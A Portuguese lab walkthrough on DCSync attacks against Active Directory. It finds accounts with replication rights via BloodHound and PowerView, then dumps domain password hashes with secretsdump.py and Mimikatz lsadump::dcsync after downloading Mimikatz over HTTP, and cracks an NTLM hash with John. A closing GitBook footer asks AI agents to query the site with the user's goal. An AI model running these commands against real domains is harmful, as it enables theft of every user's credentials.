> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# Exploração de DCSync

Notas de segurança do Active Directory para Exploração de DCSync, cobrindo enumeração, Kerberos, credenciais, abuso de ACL, movimentação lateral, fluxo de exploração e etapas de validação.

#### Princípio do DCSync

No Active Directory, os controladores de domínio precisam se sincronizar entre si para manter um banco de dados consistente.

Por exemplo, quando uma alteração é feita em um controlador de domínio, essa alteração deve ser replicada para os outros controladores de domínio.

Essa replicação diz respeito, em particular, a:

* usuários;
* grupos;
* hashes de senhas;
* atributos do Active Directory;
* os objetos do domínio;
* as informações necessárias para o funcionamento adequado do domínio.

#### 2. Por que o DCSync é sensível

Um **DCSync** ataque ou técnica envolve abusar dos direitos de replicação do Active Directory.

Normalmente, apenas controladores de domínio deveriam conseguir consultar essas informações sensíveis.

Mas, se um usuário ou grupo tiver direitos de replicação excessivos, ele pode se comportar como um controlador de domínio e consultar dados sensíveis do AD.

Direitos importantes incluem:

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

Esses direitos podem permitir a recuperação de informações críticas do domínio.

#### 3. Objetivo no laboratório

Neste laboratório, o objetivo é identificar quais usuários ou grupos têm direitos de DCSync.

Usaremos **BloodHound** encontrar as contas que possuem essas permissões.

#### 4. Buscar contas com direitos de DCSync no BloodHound

No BloodHound, você pode usar a seguinte consulta predefinida:

```bash
Encontrar Principais com Direitos de DCSync
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-324c17f532ad6c0943ff8dadacdb0768e06ba6c6%2Fimage%20(32).png?alt=media" alt=""><figcaption></figcaption></figure>

Essa consulta identifica os principais — usuários, grupos ou computadores — que têm direitos de replicação no domínio.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f87851e76411e345eef0478b02e45aad354aad1%2Fimage%20(33).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 5. Buscar com PowerView

Com o PowerView, também é possível identificar contas com esses direitos usando o seguinte comando:

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

Esse comando exibe objetos com permissões relacionadas à replicação do Active Directory.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adf0a02f00616a1de5fef0c6bc27c50d04a214d3%2Fimage%20(34).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 6. Alterando a senha da conta alvo

No laboratório, então alteramos a senha da conta identificada para poder usá-la na exploração.

Senha usada:

```
Password1@
```

#### 7. Exploração remota com secretsdump

Você pode então usar `secretsdump.py` para usar os direitos de DCSync remotamente:

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

Isso permite recuperar informações sensíveis acessíveis graças aos direitos de replicação da conta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05d91edb4734defbe033937059aa5b09e6ae17d0%2Fimage%20(3278).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 8. Usando o Mimikatz em uma máquina Windows

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

Em seguida, baixamos o Mimikatz como um `.zip` arquivo compactado, depois transferimos o executável para a máquina Windows do laboratório.

Na máquina atacante, iniciamos um servidor HTTP:

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

Na máquina Windows, baixamos o executável

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Depois, executamos:

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e97cd7606aab63c9228f47f1cec16a986c4363b%2Fimage%20(3274).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 9. Recuperando o hash do administrador

Com o Mimikatz, você pode consultar a replicação dos segredos de um usuário específico, por exemplo a conta de administrador:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b2bd12c98fc32e3f02a3883b5b811492fc72eac%2Fimage%20(3275).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 10. Recuperando os hashes de todos os usuários

Também é possível consultar informações de todos os usuários do domínio:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aa92ec9a1cfa496a6986185fb45a1acedc62f47e%2Fimage%20(3276).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 12. Preparando o hash para quebra

Em seguida, colocamos o hash recuperado em um arquivo em um formato compatível com o John the Ripper:

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Em seguida, iniciamos a quebra do hash NTLM:

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcab24bfbc58a151d4d184e27953aa66798873db%2Fimage%20(3279).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
